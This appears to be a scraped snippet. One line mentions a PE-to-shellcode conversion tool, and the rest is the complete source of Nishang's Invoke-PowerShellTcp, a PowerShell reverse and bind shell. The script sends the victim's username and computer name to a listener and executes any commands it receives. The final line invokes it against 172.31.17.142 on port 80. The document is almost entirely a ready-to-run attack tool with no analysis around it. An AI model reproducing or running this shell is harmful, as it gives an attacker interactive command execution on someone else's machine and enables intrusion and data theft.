pe_to_shellcode VS powershell

Finally, we also have the option to transform a native PE back to shellcode. This may be done, for example, via hasherezade's pe_to_shellcode tool.

function Invoke-PowerShellTcp { <# .SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang #> [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } } catch { Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ } } Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80